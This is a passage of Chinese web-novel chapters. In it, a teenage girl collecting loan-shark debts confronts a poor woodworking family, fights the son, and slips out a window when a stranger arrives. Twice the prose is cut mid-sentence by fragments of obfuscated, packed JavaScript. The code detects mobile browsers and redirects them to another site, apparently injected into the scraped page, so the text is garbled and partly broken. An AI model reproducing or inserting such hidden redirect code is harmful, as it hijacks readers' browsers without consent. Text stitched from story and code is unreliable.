她的确见过阮云琛肩膀上隐隐露出来的淤青,额头上某次擦伤留下的结痂,她的确见过她在冷风里拎着一袋药,低头走进楼道,那背影让人无法忽视。 可是,这就能说明什么呢? 程一冉忽然觉得胸口闷得发慌。 这一切——这所有的猜测与揣摩,从头到尾都毫无根据,只是她听了一些零碎的流言,拼凑出了一个虚假的故事。 荒唐,可笑,难以启齿。 她甚至不知道阮云琛真正的生活是什么样的,就站在这里,用那些揣测过的虚妄词汇为她贴上某种标签。 程一冉的指尖捏紧了袖口,攥得发白,像是想把这种羞愧狠狠掐进皮肤里,好让自己记住。 还有什么比这个更可笑呢? 她甚至觉得自己像是某种带着卑微意图的闯入者——该帮忙的时候她不帮,需要人帮忙的时候却来了,带着这样荒唐的理由和问题,敲开了别人的门。 程一冉深吸了一口气,风声从走廊尽头的破窗灌进来,吹得她后背发冷。她低着头,眼前一片模糊,只觉得脚下的地板像是一片薄冰,稍稍一动,就会让她跌进什么深不可测的地方。 她只觉得自己的脸烧得厉害,像是被一层无形的火烤着,连脚尖都僵硬得无法挪动。 她又抬头看了阮云琛一眼。 对方依旧倚在门框上,一只手漫不经心地搭在门沿,另一只手揣在兜里。 光线从走廊头顶的老旧灯泡里洒下来,打在她的侧脸上,模模糊糊地勾出几道清瘦的轮廓。她的头发不长,贴着颧骨的几缕有些凌乱,发尾微微翘起,像是不经意间被风吹过,却又带着种难以打扰的随意。 那张脸并不算白净,皮肤上隐隐透出一点常年缺觉的青灰色,眼下的黑眼圈像两块褪了色的墨痕,藏在平静的表情里,带着一种让人难以忽视的疲倦。 可她的肩背却始终挺得很直,脊柱像根支起的铁条,连这倦怠的疲惫都被压在了骨头后面,不露半分怯弱。 她的目光垂落,平静得像是一潭深水,一点波澜都没有,像是像是与外界隔着什么透明的屏障。 程一冉忽然觉得,那不是深水,那是一片镜面——镜子里映出的是她自己,这一刻的狼狈,这一刻的无地自容。 她站在原地,脚尖蹭了一下地面,发出极轻的摩擦声。声音小得几乎要被风声吞掉,但她自己却听得清清楚楚,像是耳边炸响了一声闷雷。 她终于退了一步,低着头,声音细得像是从喉咙深处挤出来的:“没事……你忙吧。” 话一出口,她的脚步突然快了起来,转身匆匆往楼梯口跑去,像是生怕再多停一秒,就会被什么无形的东西压垮。 风从走廊尽头的破窗里灌进来,扬起一片灰尘,打着旋落在地上。 阮云琛站在门口,静静地看着那片空荡荡的楼梯口,过了许久,才微微垂下眼。 她关上门的动作很轻,仿佛不想打破屋子里弥散着的沉静。她回头看了一眼沙发上的男孩,他的目光没有移开,一直落在她身上,眼底透着一丝复杂的情绪,欲言又止。 阮云琛没有理他,只是随手把门栓扣上,冷淡的声音散在屋子里:“睡吧。” 屋子里一片沉静,刚才给程一冉开门时灌入的冷风还残留着,冻得人指尖生疼。墙角的旧钟表滴答作响,像是在一下一下地敲打着夜晚的心跳。 阮云琛理了理桌上的东西,顺手将最后一个碗放进水槽里,抹干了手。她没有回头,站在桌边静了片刻,目光落在窗外漆黑的天幕上。 风从那破窗的缝隙里灌了进来,带着些冰凉的湿意,仿佛夜色也被冻住了。 男孩轻轻动了一下。 他没有发出声音,但阮云琛还是听见了那一抹细微的窸窣,像是拨动了某根绷紧的弦。 “还没睡?”她开口,语气平淡,甚至没有回头确认。 男孩犹豫了一下,声音低低的:“睡不着。” 阮云琛没有接话,只是进屋走到淼淼床边,将小女孩滑下来的被角重新掖好。 淼淼的呼吸很轻,带着一点孩子特有的柔软的韵律,眉眼在微弱的光线里显得安静极了。 她回过头,看了沙发上的男孩一眼。他的目光正追随着她,眼底藏着什么未说出口的东西。 “我......要出去一趟。”她把视线移开,声音低沉而简短。 男孩的喉结动了一下,像是在试图说点什么。他张了张嘴,最终只吐出一句:“……注意安全。” 阮云琛的脚步微微一顿,她转头看了他一眼,隔了很久,才“嗯”了一声。 没有多余的话,也没有解释什么。她走到门边,从柜子里拿出了一件旧外套披上,手搭在门把上,轻轻拉开了门。 冬日的棚户区,风冷得像刀子,夹杂着刺骨的潮湿。 街道狭窄,地面坑坑洼洼,冻得结了层薄霜,鞋底踩上去嘎吱作响。灰蒙蒙的天压得低,远处的屋顶冒着一股炊烟,那是唯一能让人辨认出人间烟火的迹象。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952966|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阮云琛裹紧了外套,低着头往目标地点走。 她的手插在兜里,指尖触到口袋里皱巴巴的纸条,地址上的字迹被揉得发白。 阮云琛缩了缩脖子,外套领口被风吹得鼓起一角,她顺手拉了拉,手指揣回兜里时,不经意触到一张皱巴巴的纸条。 那是这个月最后一张欠条。 纸条上的字迹被揉得发白,边缘起了毛,像是被攥过无数次又重新塞进兜里,混着几分潮气的墨香,像是陈年的霉味,让人脑子发胀。 以往宋祈的任务没这么多,一个月四五次,任务间隔不算紧。 可这个月却怪得很,一开始就扔给她十多张,金额不大,零零碎碎的,非要她一个月内清账,连歇口气的空隙都没有。 纸条上的地址,她看了十多次,熟得像是自己写的,但每次到一个地方,心里都憋着股难以言说的闷气。 棚户区。 这一整个月的欠条全是棚户区的,像是特意挑了一片连风都吹不透的地方,把她关进去,逼着她用力翻出些许余钱。 棚户区的人家,大多也早就掏空了底裤,剩下的不过是房梁上吊着的几根稻草,挣扎着不散架。 阮云琛靠着这些小单子勉强混着,脚步却越走越重。 这欠条上的钱,收回去能值什么呢?宋祈是打算盘算些什么?这些问题在她脑海里飘过去,没一个能落地。 冷风钻进巷子,像是旧铁皮刮在一起的声音,夹着股潮腥味,打在脸上湿湿冷冷的。她揣着手,看了眼前方一盏摇晃的路灯,光影落在地面上,像是拧碎的几片黑暗。 最后一张了。 收完这最后一张......又能怎么样呢? 逃脱不了。 逃离不走。 九岁那年,她以为杀了父亲就能逃出生天,却没想到,从那时起,她把自己送进了另一座牢笼。 宋祈没明说过,但她知道,这件事如果让他捅出去,哪怕法律不追究,她和淼淼的生活也会一夜之间崩塌。 “没有宋祈,你什么都不是。” 所有人都在这么和她说。 小时候,她或许真的这么觉得。那时候日子像是一个沉到水底的沙袋,绝望、恐惧、疲惫,全都堆在肩上。 人家说什么,她就信什么。不是因为真的相信,而是因为没力气反驳。 “没了宋祈,你什么都不是。” 这句话她听了无数次,起初是从宋祈手下那些笑得恶心的嘴里听来的,后来,慢慢变成她脑子里的一根刺,戳着戳着,竟然也开始扎根。 可现在,仔细想想,真的吗? 她攥紧了口袋里的东西,指尖硌着袋子边缘。风拂过耳边,像是有人低低地嘲笑。 没了宋祈,她真的什么都不是吗? 哪怕他把这些年她帮着收债的事情全抖出去,甚至把她和和安堂牵扯到一起呢?她知道,法律或许不会追究一个灰色地带里的小角色,但这一切会像泥水一样涌上来,堵住她仅存的那些干净的出路。 她能接受自己活得肮脏,可淼淼不行。 “没了宋祈,我什么都不是。” 这句话或许不是完全错的,但它只是另一种枷锁。是让她继续被人踩在脚下的一种说辞。 阮云琛闭了闭眼,深吸了一口气。 路边堆满了杂物,破烂的桌椅、报废的自行车横七竖八地挤在一起,像是这个地方与世界脱节的证据。偶尔有几个人探出头,又迅速缩了回去,目光带着隐隐的警惕。 阮云琛终于站定在一间低矮的房子前。 43. 家庭作坊 门板破旧,油漆早已剥落,露出底下灰扑扑的木头。 门上挂着个牌子,歪歪斜斜地写着“木工坊”,字迹因为风雨侵蚀显得模糊不清。门缝里透出一丝昏黄的灯光,夹杂着断续的咳嗽声。 阮云琛抬手敲了敲门,手指关节敲在木头上的声音轻而清脆。屋里沉寂了一瞬,然后传来一阵细碎的脚步声。 门吱呀一声开了,带出一阵腐朽的气息。 门口站着一个老人,驼着背,手里扶着一根木质的拐杖。他半边脸隐在昏暗的灯光里,皱纹深深地刻在皮肤上,仿佛风霜和岁月的刻刀将他修剪成了眼前的模样。 老人眯起浑浊的眼睛,声音嘶哑又带着几分不确定:“谁?” 阮云琛站在门外,裹在一件旧外套里,衣领半掩住脸。她微微抬头,那双漆黑的眼睛在灯光下显得格外冷静,像是能直直穿透屋里的一切。 “收债的。”她的声音不重,但那两个字落地时,却沉得像铁器砸在了地板上。 老人愣了一下,手里的拐杖微微一顿。 他上下打量了阮云琛一眼,眼神里写满了错愕和迟疑。 面前的女孩不过十五六岁的模样,瘦削的身板隐在宽大的外套里,看起来似乎一阵风就能吹倒。但她的表情太冷静了,冷静到让人觉得这个人完全没有笑的可能性。 “……你是……收债的?”老人的语气里带着难以掩饰的怀疑。 屋内亮着一盏昏黄的灯,光线勉强勾勒出狭窄的空间轮廓。 靠墙的角落里堆着一些杂乱的木料和半成品的小玩具,粗糙的轮廓上残留着未打磨干净的毛刺。木屑散落在地板上,空气中弥漫着木头和潮湿的气息。 一个年轻男人蹲在地上,手里拿着一块砂纸,低头打磨着一只小木马。 听到外头的声音,他警觉地抬头看了一眼门口,目光落在阮云琛身上时,闪过一丝紧张。他放下手里的活,站了起来,下意识地挡在老人身前。 “你来做什么?”年轻男人站起来,挡在老人的身前,声音低沉而沙哑,眼神紧绷得像一根即将断裂的弦。 阮云琛没回答,甚至连眼神都懒得与他对接,她只是抬起脚,跨进了那扇摇摇欲坠的门槛。 可她从来都不喜欢进别人家。 门框低矮,头顶的灯泡发出黯淡的光,像即将燃尽的油灯。地板有些湿滑,空气里弥漫着木头和潮湿的混合味道,带着家庭特有的烟火气,却让她生出一种窒息感。 她的目光扫过屋里的摆设,破旧的木桌,垫着砖头的椅子,墙角堆着半成品的小玩具,木屑和钉子散落了一地。空气里弥漫着一股陈旧的木香,带着岁月沉淀的潮湿感。 年轻男人站得很直,瘦削的身体像一道生硬的屏障,把老人和孩子牢牢护在身后。他的手微微发抖,却依旧紧握成拳,像是用尽全力在支撑着什么。 男人身后,有个女人坐在床边,怀里抱着个小女孩。她的头发蓬乱,脸色苍白,一只手紧紧搂着孩子单薄的身体,另一只手用力捂住孩子的耳朵,像是要把整个世界的声音都隔绝开。 孩子睁着一双大眼睛,怯生生地看着阮云琛,目光在她身上停留了一瞬,却又被母亲匆匆按进怀里。 那小小的身影隐没在女人的臂弯中,只剩下被勒紧的袖口边缘露出一点细瘦的手指,蜷缩着,微微发抖。 ——烦死了。 烦死了。 阮云琛垂下眼睑,目光落在那只蜷缩的手上,停留了片刻,又迅速移开。她的手插在兜里,手指无意识地搓着口袋的布料,指尖有些发凉。 屋里的气味有些闷,混着煤油灯微弱的烟味和潮湿的木头味道,让人呼吸不畅。 她深吸了一口气,像是试图压住心底那股烦躁和别的什么东西。那种东西,说不清道不明,像是一团胶着的雾气,绕在心口,让人喘不过气来。 ——这又关她什么事? 她不是来处理这些事的,也没兴趣。 阮云琛的目光扫过男人站得笔直的背影,又扫过女人紧搂孩子的动作。墙上的煤油灯摇晃了一下,光影像是在墙面上跳动,斑驳得像一幅被水冲刷过的画。 她偏开头,微微转了一下肩膀,像是在试图甩掉什么难以言喻的情绪。鞋底轻轻踩在地板上,木屑细碎的响动传进耳里。 角落里传来轻轻的响动。 她侧头看去,看到另一个孩子蹲在那里,双手捧着一匹木马,像抱着什么稀世珍宝。他的手指用力得发白,捏着粗糙的木料,似乎在借此对抗整个世界。 孩子察觉到她的目光,瑟缩了一下,小脸埋在木马后面,偷偷朝她瞄了一眼,又迅速低下头。 阮云琛的指尖微微动了动,下意识地想把手插进兜里,却发现那巨大的兜里,除了欠条,什么也没有——空荡荡的。 “你们拖欠的债,什么时候还?”阮云琛开了口,语气平静得没有起伏。 年轻男人的脸色一下子变得难看。他的唇抿得很紧,喉结滚动了一下,像是想要说点什么,却被老人伸手按住了肩膀。 “我们……我们再凑凑……”老人开口,声音嘶哑而颤抖,像是生了锈的锯子在木头上拉动。“再给我们几天时间。” “几天?”阮云琛转头看着他,目光落在老人松垮的衣领上,那里面露出的锁骨瘦得像干枯的树枝。 她没说话,眼神移开了一瞬,重新落回到年轻男人身上:“小玩具卖不了几个钱,你们凑得到吗?” 年轻男人的肩膀明显一抖,嘴唇张了张,却没能说出话来。他的手不知所措地捏着一块破布,指节发白,像是在用尽全身力气抵御某种羞耻感。 孩子似乎察觉到气氛的不对劲,悄悄缩了缩身体,手指用力捏着一只粗糙的小木马。木马的尾巴有些毛刺,扎进他的手心,却没有让他松手。 他的小脸苍白而瘦弱,眼睛里满是警惕,却又努力装出一副什么都没发生的模样。 阮云琛的目光落在那只木马上,孩子捏得那样用力,指节都泛白了。木刺扎进了小小的手掌,手心起了一道道红印,却还是紧紧地攥着,像是那东西能护住一切。 “房本呢?”她的声音很轻,像是落在空气里的一片灰尘,不够重,却足够沉。 空气在一瞬间凝滞了。 紧接着,角落的女人猛地抬头,瞪大了眼睛,像是听见了什么不可思议的话,嘴唇颤了颤,没有立刻回答。 她下意识地瞥了一眼屋子深处的柜子,动作小得几乎看不见,但对阮云琛来说已经足够。 “你!”年轻男人突然出声,低沉的怒吼像是一头被激怒的兽,他一步跨上前,挡在女人和孩子前面,眼神里是掩不住的愤怒,“你到底想要干什么?!” 阮云琛没有动。 “欠债还钱,天经地义,立下的规矩就要遵守,换不起钱就用房来抵,有什么不对?” 屋里的气氛像一根即将崩断的弦,尖锐地绷着。孩子的哭声断断续续,像是被大人捂住了嘴,却怎么也压不住那种从喉咙深处挤出来的抽泣。 阮云琛站在原地,脚下踩着一片散落的木屑。 她的影子被昏暗的灯光拉长,投在地板上,显得有些扭曲。她的目光停在那个老人身上,看着他跌坐在地上,而后颤颤巍巍地爬起来,又重重地跌回去。 那双布满老茧的手撑在地上,泥土和木屑嵌进掌心的细纹里。 阮云琛手指稍稍抬了一下,指向那只柜子,语气依旧淡淡的:“房本。拿出来。” “做梦!”男人的脸一下子涨红了,他捏紧了拳头,青筋暴起,胸膛剧烈起伏,像是下一秒就会爆发。他的眼神锁住阮云琛,带着一种拼命的决绝,“你以为——你以为你是谁?!” “债主的跑腿的。”阮云琛慢吞吞地说,声音不轻不重,像是怕吵醒某种沉睡的情绪,却又无情地落了下去,“你们拖欠了太久,不是吗?” 抱着木马的孩子忽地发出了一声响亮的抽噎。 阮云琛几乎下意识地就看向了他,那摔倒的老人忽地发出了一声嘶哑的低吼,颤抖着想要爬过去:“别......别碰他!” 那声音像是从破旧的风箱里挤出来的音调,虚弱,却带着一种让人无法忽视的执拗。 阮云琛本能地皱了一下眉,被这种画面逼得后退了一步,可她的脚下却没动分毫。她只觉得胸腔里堵着一团没散开的气,那种憋闷的情绪像一只无形的手,揪着她的喉咙。 男人挣扎着站起来,肩膀微微颤抖,他的目光死死锁在阮云琛身上,像是一只被逼到绝路的野兽。 “出去!滚出去!别碰我们家!”他的吼声沙哑而粗暴,带着力竭的愤怒和绝望。 阮云琛转过头,目光像一片刀刃,从男人脸上扫过去。她没有动,脚底像是钉在地上,手指缓缓收紧又松开。 她从未想过自己有一天会像现在这样,面对一个连吼声都带着绝望的普通人,感到如此烦躁。 “烦死了。”她在心里低低骂了一声,牙齿轻轻咬着嘴唇,嘴角的线条微微紧绷。 她讨厌这地方,讨厌这间屋子,讨厌这种看起来破败不堪却依旧充满牵绊的家。 这些东西她从未拥有过,甚至连想象都不曾有过。她的人生里,从来没有那样一扇门关上之后还能留住温暖的房子。 她的脑海里,全是冰冷的走廊,砸在铁床栏杆上的哭声,和那些被硬塞进碗里的发霉饭菜。 现在她站在这里,像一把生了锈的刀,既无法锋利地斩断什么,也不能融入这片小小的温暖中。 男人忽然动了,他扑向她的时候,带着一种全然不顾后果的蛮力。阮云琛往后一闪,脚下踩得地板吱呀作响,她的手抬起来,轻而精准地挡住了他的动作。 “别逼我。”她的声音很轻,却带着冷意。 男人哪听得进去,低吼着再次扑上来。 他的拳头挥过来时,动作又快又重,带着一种拼死一搏的狠劲。 阮云琛偏过头,冷冷地抓住他的手腕,顺势用力一扭。男人的身体一个不稳,摔倒在地,发出一声沉闷的撞击。 “呜哇——”孩子的哭声终于爆发了出来,震得屋顶的煤油灯轻轻晃了两下,灯光摇曳,把四壁的影子搅得乱七八糟。 老人爬着扑向孩子的方向,膝盖磕在地上,发出沉重的闷响,却没停下动作。他的身体摇摇晃晃,像是一棵风雨中随时可能折断的老树。 “别……别伤他们!”他的声音哑得几乎听不见,却带着一种让人无法忽视的倔强。 他的身体微微发抖,伸出的手却依旧固执地向前够着,像是想要抓住什么,又像是要护住身后的什么:“求你......求求你了,小丫头、小丫头,求你别伤他们......” 阮云琛的脚步微微一顿。 她能感受到男人挣扎的力气,女人压抑的哭声,还有孩子那一声声仿佛要哭破喉咙的尖叫。她的目光落在那老人身上,看着他人跪在地上,膝盖磕得沉闷,那声音像是敲在阮云琛的神经上,一下接着一下,像冰冷的指甲刮过黑板。 ——这算什么? 一个垂垂老矣的人,满脸皱纹,满身风霜,竟然跪着求她,一个十几岁的孩子。 她站在那里,眼睛盯着他伸过来的那只手。满是皱纹的手臂颤抖得厉害,骨节突兀,像是风化的枯枝。她忽然觉得一阵头皮发麻,像是有什么东西顺着脊椎往上爬,冷得让人不寒而栗。 真可笑。 他跪着,她却像是被逼到了角落里。 她的脑海里忽然冒出一句话:家长里短,三书五经里没有教过这种场景。人可以哭天喊地,可以跪,可以磕头,可以把尊严踩进泥里去。可问题是,她呢? 她该用什么表情面对这一切? 膝盖跪得这样重,话说得这样软,求得这样低。 所有的祈求像水一样朝她扑过来,冰冷,湿腻,直往她骨缝里灌。阮云琛站在那里,面无表情,却觉得自己像是一个强装镇定的溺水者。 她很想笑,笑得尖锐一点,狠一点,带着点讽刺的味道,最好能掩盖掉这一刻胸口的刺痛。 可她笑不出来,连嘴角都抬不起来。 烦死了。 她从来没有见过这样的场景,却又觉得这样的场景离她很远——不,是太远了。远到她一眼看过去,就只剩下满心的不适和烦躁。 她觉得烦躁,胸口像是被一块巨石压住,堵得她喘不过气来。 ——这是宋祈的任务。不是她的。 “求我有什么用?”她低声说,声音几乎轻得听不见,“你们......求我,又能有什么用?” 她的手垂在身侧,拳头微微攥紧了一下,又迅速松开。 阮云琛甚至不知道自己在和谁较劲——是这个跪在地上的老人,是角落哭闹的孩子,是紧紧护住女孩的女人,是手里头嵌着的男人,还是站在这里的自己。 她手上的力道松了一点,男人趁机猛地挣开,踉跄着退了两步,捂着手腕,狠狠地喘着粗气。 就在这时,门外忽地传来了动静。 有几声零碎的敲门声响起,紧接着便是道低沉的男人声音凿了进来:“请问......发生什么了?” 屋子里的一切仿佛都在这一瞬间凝固了。 男人的喘息声急促得像风箱漏气,女人抱着孩子的手越收越紧,手指发白,指甲深深嵌进孩子单薄的衣服里。 老人还跪在地上,维持着那个祈求的姿势,像一尊被风化的雕像。唯一在动的,只有角落里摇晃的煤油灯,火光忽明忽暗,把每个人的脸映得像一张苍白的皮影。 “请问……发生什么了?”门外的声音低沉,带着一点小心翼翼的试探。 阮云琛偏了偏头,目光从那扇薄薄的门板上移开,扫了一圈屋子里的每个人。 没有人吭声。 这里安静得像是一片被冻住的深水。 她慢慢地弯下腰,伸手将老人从地上扶起。 她的动作很轻,没有一丝多余的力道,但目光却从头到尾没有离开那扇门——像一只随时准备扑击的猎豹。 “什么......什么都没发生。”抱着孩子的女人低声说,语气平淡得像是在描述天气,“就是……家里有点小争执。” 老人一抖,像是本能地想要反驳,却在下一秒被阮云琛的手压住了肩膀,力道不轻不重,却透着一种不容抗拒的冷硬。 他的嘴张了张,最终什么也没说,只是低下头,视线躲闪。 煤油灯的光摇晃了一下,家里的男主人站在不远处,目光里透着痛苦和愤怒,却也混杂着深深的恐惧。 他的手攥得很紧,像是想要握住什么,却终究只能紧紧抿着唇,把视线移开了。 屋子里的每个人都僵硬得像是被冻住了。老人被阮云琛扶着——或是用掐着这个词汇会更加准确,他的身体颤抖着站起来,却始终低垂着头,不敢看她,也不敢往门外看。 男主人的脸色铁青,目光在屋里的一片狼藉之间游移,嘴角抿得发白。他的胸口剧烈起伏着,像是藏着一团随时可能爆发的怒火,却因为某种无形的力量被死死压住了。 高利贷。 □□。 这些词语像是利刃一样悬在屋子的空气里,每一个人都清楚,如果被捅出去,那并非是丢脸的问题,更有可能发生的,是致命的麻烦。 对他们这些靠打工、拼命凑钱的小人物来说,这些高高在上的“游戏规则”压根不容他们有半点挣扎的余地。 他们害怕。 害怕放贷人一旦察觉自己暴露出去,后果是无法承担的血腥收场——哪怕她只是个十几岁的孩子。 女主人抱着怀里的女孩,力道几乎要把瘦小的身子嵌进怀中。她的眼神飘忽不定,像是随时准备着,准备用自己的命换来孩子的宁静。 男主人的手攥着自己的袖口,指尖已经泛白。 他瞥了一眼阮云琛,牙关轻轻咬着,像是在警告自己不能乱说话。 他知道门外站着一个陌生人,那陌生人的态度看起来并不咄咄逼人,但这种“好意”可能只会让局面更糟。 门外的人似乎还在犹豫:“刚才我听见……” “没什么。”男人的开了口,他的声音有些抖,却努力地试图平稳下来,“就是点家务事。谢谢关心。” 阮云琛手指稍稍用力,老人被迫站稳了些,却低着头一动不敢动。她的眼神从他脸上扫过,转而看向女人——后者抿着嘴唇,眼睛里泪光一闪,却拼命忍住了。 阮云琛的心里生出一阵莫名的烦躁。 “抱歉啊,”女人说,“吵得有点大,打扰了。” 门外的人似乎还想再说什么,男主人却补了句,嗓音沙哑:“不好意思,真是打扰了……没事的,真的没事。” 说完这句话,他像是一下子泄了气,目光低垂,整个人颓然地靠在墙上。 门外沉默了几秒,随后传来一声轻微的脚步声,逐渐远去。 屋里安静得像是一根细线绷在空中。 门外的脚步声渐行渐远,年轻男人靠在墙上,手臂松弛下来,像是一下子被抽空了所有力气。 他低垂着头,额角的汗珠顺着脸颊滑落,却没有抬手去擦。 “走了……”女人轻声开口,嗓音颤抖得不成样子。 “没走。”阮云琛的声音像是一道冷冰冰的刀锋,在死寂中划开。她的手指已经搭在窗框上,掌心贴着冰冷的木料,目光却落在房门的位置。 几乎是她话音刚落,门把又被轻轻转动了一下。 “咔嗒”一声,门板被推开了一条缝隙。 “谁——”男人猛地抬头,声音紧绷得像一根快要断裂的弦。他的话还没说完,门便被推开了,露出一个身影。 那是一个中年男人,穿着普通的深色外套,手里拎着一把折叠伞。他站在门口,目光在屋内扫过,眉头轻轻皱了起来。 ——廖致远。 阮云琛心里一惊,动作却没有丝毫停顿。她松开了老人的胳膊,脚尖轻轻一勾,借着窗框用力一撑,整个人无声无息地翻了出去。 外头的风很冷,窗外是堆满废弃杂物的小巷,夜色浓得像是一层厚重的幕布,把所有的细节都掩了个干净。 她一只手撑着窗台,身形贴着墙壁,耳朵紧贴窗框,听着里面的动静。 “打扰了。”廖致远的声音低沉,透着不动声色的试探。他走了几步,站到屋子中央,目光在每个人脸上短暂地停留了一下,然后落在地上的一片木屑上。 地面上还有一滴血——刚才男人手腕擦破时留下的。 他的视线没有离开地板,却开口问道:“我听到这里刚才有些动静,是出了什么事?” 年轻男人的身体僵了一瞬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她低头看了一眼自己脚下的地面,破旧的砖块松松垮垮,踩着发出轻微的响动。 屋里安静得出奇,只有煤油灯偶尔发出一点轻微的“啪嗒”声,像是什么在暗处微弱地挣扎着,试图点亮又迅速被压灭。 阮云琛贴在窗外,指尖扣着冰冷粗糙的墙面,耳边的声音一阵阵传来。 “妈,疼……”是小男孩的声音,低低的,带着不安的颤抖。他显然在努力压抑着什么情绪,那种竭力忍耐的坚强几乎让人心生酸涩。 “别说话。”女人的声音柔软却不容置疑,像一层薄纱轻轻覆过,温暖又冷静,“等会儿妈妈给你上点药,就不疼了。” 阮云琛的手指动了动,指腹压在粗糙的砖缝上,几乎把那点粗粝感嵌进了皮肉里。她眉心微蹙,目光落在远处朦胧的天际,听着屋内这些话,胸口泛起一股说不清的烦躁。 男人低声咒骂了一句,像是一种习惯性的泄愤,但很快被老人打断了:“闭嘴,别吓着孩子。” ——又是这样。 阮云琛脑海里突然冒出这句话,几乎是控制不住的升起的厌恶。 明明都已经泥足深陷,明明已经摔得一地破碎,还能在这里装模作样地相互安慰。 有什么用? 她冷冷地想着,目光盯着屋内那盏晃动的煤油灯,火苗摇曳得像是随时要熄灭,却还死死吊着最后一口气。 互相搀扶着,拧成一股绳又怎么样? 他们这些人,能熬过今晚,熬得过明天吗? 风从她耳边灌过,带着寒意的嘶鸣,像是在无声地回应。她手指抠着窗沿,动作无意识地加重了一分,发出微弱的“咔”声。 ——穷人版的英雄主义。 这个词在她脑海里浮现,冷嘲里夹杂着几分说不清的自嘲。她甚至能想象到他们明天还会如何咬牙切齿地活下去,为了几块钱的小木马,为了再省下一顿饭。 这种黏腻的温情让她觉得窒息。 窗台冰冷的触感渗进了掌心,但没能让她的情绪平复下来。她偏了偏头,目光越过窗缝,看见屋里摇曳的灯光。 那个孩子缩在女人的怀里,小小的一团,脸上还有泪痕,却倔强地不肯再哭出声。 女人低头轻拍着他的背,目光温柔得像水,像什么都能包容、什么都能承受。孩子抽泣的声音渐渐平息,取而代之的是他低低的嗓音:“妈妈,我帮你……” 他的声音里带着一股不合年龄的成熟,仿佛一句“帮忙”就能撑起这个家。小手伸过去,却被女人轻轻握住。 “你乖,”她的语气软下来,像是抚平了空气里所有的刺,“去睡觉,妈妈还得赶完这一批小木马呢。” 阮云琛的指尖抠进了墙缝,磨得发红,她甚至没有意识到。那种说不清的烦躁感越积越多,仿佛要把胸腔里的某根弦撑到断裂。 她忍不住别开目光,偏头看向黑暗的巷子,夜风冷冷地吹过,像是刻意裹着一层刺骨的寒意。 她知道这种情绪是怎么来的。 ——因为从来没有,因为永远不会有,因为她渴望,因为她嫉妒。 她从来没有感受过这种无声的保护,没有被那样的目光注视过,也从来不需要。她比任何人都清楚,这种东西,不属于她,永远都不会属于她。 可为什么,那一瞬间,她竟然希望自己没有站在这里,希望自己从来没看见过这些? 屋里传来一阵轻轻的咳嗽声,夹杂着木屑被扫起的沙沙声。那声音细微又琐碎,像是一种微弱到近乎卑微的存在感,努力撑起一片摇摇欲坠的世界。 阮云琛站在窗外,手还扣在窗台上,指节因用力而泛白。她甚至能感受到手指下的那点粗糙木刺,像是扎进了皮肤里,透着细微的刺痛,却不至于让她放手。 屋内的声音又响了一下,是那个女人的。 “爸,您别扫了,去躺会儿吧,这里我来就行。” 老人没应声,只是咳了两下,脚步拖沓地往后挪了一点。 孩子奶声奶气地开口:“妈妈,我也帮忙,好不好?” ——他们到底在干什么? 阮云琛低头看着窗外那片堆积如山的杂物,目光冷得像一滩死水,情绪在胸口翻滚,却找不到一个宣泄的出口。 ……烦死了。 烦死了。 烦死了。 一种近乎灼人的难受,从骨头缝里溢出来,又堵在喉咙口,烫得她眼眶发热。 阮云琛咬紧牙关,呼吸轻而急促,努力地想要压住脑子里面来回翻涌的情绪——她不知道那股情绪是哪里来的,她只知道那股子难受的劲儿,总会在追债的时候莫名其妙地跑出来。 可最终,她却只能攥紧了拳头,把那点微弱的情感全数掐灭。 她的手再次扣紧了窗台,力道大得像是要把整个窗框折下来。 ——回去。 拿房本。 结束任务。 这些念头在脑海里一遍又一遍地翻滚,催促着她抬脚迈开步子。 可是脚步刚一动,屋内又传来一声——那个孩子,语气里带着不加掩饰的欢喜:“妈妈,这个木马做好了,是给妹妹的吗?” 女人轻轻笑了笑,声音温柔得不像是身处这样破败的环境:“对,等妹妹醒了,给她玩,好不好?” 风从耳边刮过,灌进脖子里,她的指尖彻底松开了。 好烫。 屋里的气息,烫得人皮肤升腾,浑身难受。 那是一种想让人想逃的难受。 阮云琛低头看了一眼自己手心,那里分明没有伤口,却像是被什么东西狠狠割开了一道缝。 她突然觉得再待一秒都会窒息,像是随时可能被吞没在这无声的温情里。 她转过身,肩膀僵硬得像是被冻住了。风吹过她的头发,把那点隐秘的酸涩连着寒意一起灌进骨头缝里。 她没再回头,只是沿着墙边一步步往远处走去,脚步轻得像是在逃。 巷子里只有风声,刮在砖墙上,带起一阵细碎的沙沙声。阮云琛站在巷尾,冷冷地回头看了一眼,那扇破旧的木门已经紧闭,隐约还能听到屋里断断续续的低语。 她的手指抚过墙面,粗糙的水泥刮得掌心有点刺痛,但这点痛意被更深的烦躁淹没了。刚才屋里那种温情脉脉的画面像刀子一样扎在她脑子里,怎么也甩不掉。 ——他们怕什么? ——怕□□,怕被灭口,怕暴露……可他们也什么都不怕。 互相扶持,互相依靠,即便那个世界小得可怕,即便那未来荆棘满布,可他们......因为拥有彼此,所以什么都不怕。 阮云琛忍不住咬了咬牙,指尖收紧,口袋里欠条的边缘割到了指腹,传来一阵钻心的刺痛——大概是流血了。 阮云琛讨厌他们,也讨厌自己。 她讨厌那种突如其来的嫉妒感,恨那种莫名其妙的触动,还有现在这种说不清道不明的逃避。她想再回去,砸开那扇门,拿到她该拿的东西,可脚步却迟迟没有抬起。 风从巷子尽头吹来,卷着一股微微的湿气。砖墙的阴影拉得很长,笼罩在她脚下。她偏头看了一眼,黑暗中的空气显得格外沉重。 正要迈步,一个低沉的声音从阴影里传来。 “夜深了,这里不安全。” 44. 种子 阮云琛的脚步一滞,目光迅速扫向声音的来源。 